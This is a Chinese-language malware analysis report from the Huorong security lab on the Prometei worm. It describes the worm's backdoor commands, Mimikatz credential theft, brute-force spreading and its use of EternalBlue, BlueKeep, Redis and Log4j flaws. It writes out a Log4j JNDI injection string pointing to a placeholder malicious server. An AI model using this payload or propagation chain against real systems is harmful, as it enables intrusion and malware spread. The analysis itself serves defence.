近日,火绒安全实验室监测到蠕虫病毒“Prometei”正在全网传播。该病毒通过横向渗透攻击方式对局域网中的终端进行大面积入侵,并且可以跨平台(Windows、Linux、macOS等系统)横向传播。火绒安全提醒广大用户,尤其是企业、政府部门、学校、医院等拥有大型局域网机构,及时做好排查与防护工作,避免受到该病毒影响。目前,火绒安全(个人版、企业版)产品已对该病毒进行拦截查杀。
根据火绒安全实验室溯源分析,该病毒入侵终端后,会通过远程服务器接收并执行病毒作者下发的各类指令,包括挖矿、更新病毒模块、下发新的病毒模块等恶意行为。除此之外,该病毒还会通过创建服务、注册表添加自启动等方式达到长期驻留用户终端的目的,并通过修改防火墙规则来削弱系统安全性,甚至不排除病毒作者通过后门指令对外网终端进行攻击的可能性。
病毒恶意行为执行流程
更为严重的是,该病毒在入侵终端后,还可以根据病毒作者下发的后门指令,对同一网段下的其它终端进行横向渗透攻击,造成更大的影响,威胁更多局域网用户。根据火绒安全实验室分析,病毒主要通过弱口令暴破和漏洞两种方式进行横向渗透,其中,病毒使用的漏洞包括“永恒之蓝”漏洞、Redis未授权访问漏洞、BlueKeep漏洞、Apache Log4j漏洞等常见高危漏洞。另外,该病毒目前依旧在更新中,不排除后续引入更多攻击方式进行横向渗透攻击的可能性。
C&C服务器地址
蠕虫病毒特点为不断复制自身,且可携带其它病毒模块,并“擅长”通过漏洞攻击或者横向渗透进行传播,从而大面积感染目标设备,是局域网中常见的一大威胁。
近年来,火绒安全也不断升级查杀和防护技术,从而有效阻止蠕虫病毒在局域网肆意传播的现象:如【远程登录防护】功能,可以有效抵挡病毒的RDP、SMB等暴破行为;【横向渗透防护】功能可以有效拦截病毒后续渗透入侵行为,做到阻断病毒在局域网内扩散,避免终端受到病毒的影响;【Web服务保护】、【网络入侵拦截】、【对外攻击拦截】则可以对上述服务漏洞、系统漏洞攻击进行及时拦截。
以下为本文所述蠕虫病毒“Prometei”详细分析与样本hash:
一、样本分析
Sqhost主模块
主模块在横向传播的过程中名为:zsvc.exe,使用UPX壳进行压缩,除此之外,病毒代码还对病毒主要代码逻辑入口进行了加密。该模块具有挖矿、下载文件、持久化、执行任意命令行、扩展模块、削弱系统安全性、调用横向传播模块等恶意行为,当该病毒接收到C&C服务器下发的后门指令后,即会执行相应恶意行为。该病毒可以通过匿名通讯协议与C&C服务器进行通讯,如Tor(洋葱路由器),从而增强了实际C&C服务器的隐蔽性。Windows病毒样本支持的后门指令,如下图所示:
Windows病毒样本支持的后门指令
该病毒模块可以根据不同命令行参数执行对应功能,具体功能模式,如下图所示:
参数功能
较为典型的后门功能指令代码
call
调用CreateProcess函数执行程序,相关代码,如下图所示:
CALL指令代码
update
从服务器下载更新主模块,相关代码,如下图所示:
update指令代码
wget
根据URL下载文件,相关代码,如下图所示:
wget指令代码
通过执行命令行的方式下载其他模块
病毒接收到后门指令后,会通过命令行执行PowerShell脚本,下载、解压含有恶意文件的压缩包(updata.7z),执行解压后的install.cmd。脚本内容,如下图所示:
PowerShell指令
压缩包内容,如下图所示:
压缩包内容
执行install.cmd,更新现有模块,并且执行rdpcIip横向传播模块,如下图所示:
install.cmd内容
RdpCIip横向传播模块
RdpCIip横向传播模块会对局域网内所有的机器进行扫描,如:SMB、Redis、RPC、RDP、Apache、SSH、SQL Server、PostgreSQL服务端口,针对上述服务进行暴破攻击以及漏洞攻击(“永恒之蓝”、BlueKeep、Apache Log4j 漏洞、Redis未经授权访问漏洞等),拥有大型局域网的政企机构面临较大的安全风险。在局域网暴破之前会通过miwalk模块(Mimikatz)获取系统登录凭证,通过获取的登录凭证和自带弱口令字典进行横向暴破攻击。攻击成功之后,被攻击主机会执行一段恶意代码。恶意代码会调用PowerShell命令,从服务器下载主模块并执行,相关代码,如下图所示:
恶意代码内容
暴破传播
病毒会对局域网内存在SMB、WMI、SQLServer、PostgreSQL服务的机器进行暴破攻击。病毒暴破所使用的密码字典内容包括:miwalk模块(Mimikatz)获取的系统登录凭证、病毒镜像中的弱口令字典和根据目标主机名动态生成一组字典,以此方式提高暴破攻击的成功率。
收集系统登录凭证
调用miwalk模块(Mimikatz)获取系统登录凭证,保存在ssldata2.dll中。相关代码,如下图所示:
调用miwalk获取系统登录凭证
动态生成字典
该病毒镜像中包含的弱口令字典,如下图所示:
该病毒镜像中包含的弱口令字典
根据目标主机名动态生成的登录信息字典,如下图所示:
根据目标主机名动态组合的登录信息字典
WMI暴破传播
根据登录信息字典暴破WMI,通过WMI远程执行CMD指令进行横向传播。相关代码,如下图所示:
WMI暴破传播
SSH暴破传播
把生成的字典加密写入到.cpass文件中,调用windrlver模块对SSH进行暴破攻击、横向传播。相关代码,如下图所示:
SSH暴破传播
常见的账号和密码组合
加密后的登录信息字典保存在cpass文件中
调用windrlver模块,传入目标信息作为参数,对目标进行暴破传播, 如下图所示:
调用windrlver模块
windrlver模块
该模块的主要目的是根据提供的登录信息字典对目标SSH进行暴破攻击、横向传播。相关代码,如下图所示:
SSH暴破传播
SQLServer和PostgreSQL暴破传播
前面的步骤和SSH暴破传播相同,最后调用nethelper模块,如下图所示:
调用nethelper模块
NetHelper模块
该模块的主要目的是根据提供的字典对目标SQL Server和PostgreSQL数据库进行暴破攻击、横向传播。
SQL Server暴破传播
连接数据库代码,如下图所示:
连接SQL Server
调用PowerShell指令在目标终端下载主模块,如下图所示:
远程执行PowerShell
PostgreSQL暴破传播
连接数据库代码,如下图所示:
连接PostgreSQL
根据不同的操作系统在目标中下载不同的主模块,Windows系统使用PowerShell指令下载模块,相关代码,如下图所示:
Windows
类Unix系统(mac OS、Linux)的使用curl/wget/nexec下载模块,相关代码,如下图所示:
类Unix系统
SMB暴破
首先根据之前获取到的系统登录凭证和弱口令字典进行SMB暴破攻击,如果暴破攻击失败会使用“永恒之蓝”漏洞攻击。攻击成功之后,会远程创建随机名服务项(如下图服务项名为xsvf),通过服务执行CMD指令,从服务器下载执行sqhost.exe(后门模块),具体流程,如下图所示:
SMB认证
远程创建服务
受害者主机被攻击后添加的服务项
漏洞传播
病毒会对局域网内存在漏洞的机器进行漏洞攻击,如:“永恒之蓝”漏洞、Redis未授权访问漏洞、BlueKeep漏洞、Apache Log4j漏洞。
“永恒之蓝”漏洞传播
如果SMB暴破攻击失败,会使用“永恒之蓝”漏洞攻击,攻击成功后的传播流程与暴破攻击后续传播流程相同,如上所述(SMB暴破)。相关防御情况,如下图所示:
火绒拦截该病毒产生的“永恒之蓝”攻击
Redis未授权访问漏洞传播
Redis未授权访问漏洞,Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行设置相关的安全策略,比如添加防火墙规则避免其他非信任来源 IP 访问等,这样会将 Redis 服务暴露到公网上。如果没有设置密码认证,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。通过Redis未授权访问漏洞连接成功后,将通过wget指令下载恶意模块并执行,相关代码,如下图所示:
Redis传播流程
BlueKeep漏洞传播
根据RDP协议获取目标主机名,将目标IP和主机名加密传给bklocal(BlueKeep漏洞攻击模块)对目标进行漏洞传播。获取RDP协议中返回的主机名, 相关代码,如下图所示:
获取RDP协议中返回的主机名
将目标IP和主机名加密,如下图所示:
对主机名和目标IP进行加密
调用bklocal模块传入加密后的数据,如下图所示:
加密后的内容传入bklocal模块
Apache Log4j漏洞传播
使用Apache Log4j 漏洞(CVE-2021-44228)执行远程代码,构造User-Agent的内容为${jndi:ldap://恶意服务器IP:1399/test},向目标80或者8080端口发送get请求,如果存在Apache Log4j漏洞就会执行恶意服务器上test文件中的恶意代码进行传播,相关代码,如下图所示:
Apache Log4j漏洞
类Unix系统病毒样本分析
类Unix系统病毒样本暂时仅发现SMB、SSH、Redis漏洞攻击和暴破攻击,且代码逻辑部分和Windows相同,将不再进行叙述。
类Unix系统病毒样本支持的后门指令,如下图所示:
类Unix系统病毒样本支持的后门指令
二、附录
样本hash: